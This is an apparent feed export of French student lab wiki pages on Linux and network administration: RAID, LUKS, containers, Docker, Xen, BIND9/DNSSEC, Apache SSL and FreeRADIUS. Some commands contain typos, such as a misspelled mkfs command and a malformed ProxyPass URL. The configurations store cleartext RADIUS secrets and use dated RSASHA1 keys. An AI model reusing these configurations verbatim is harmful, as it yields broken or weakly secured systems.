  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Cassagewep07.png&amp;diff=48920</id>
		<title>Fichier:Cassagewep07.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Cassagewep07.png&amp;diff=48920"/>
				<updated>2018-12-17T17:57:10Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48911</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48911"/>
				<updated>2018-12-17T17:27:15Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5. Tests d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
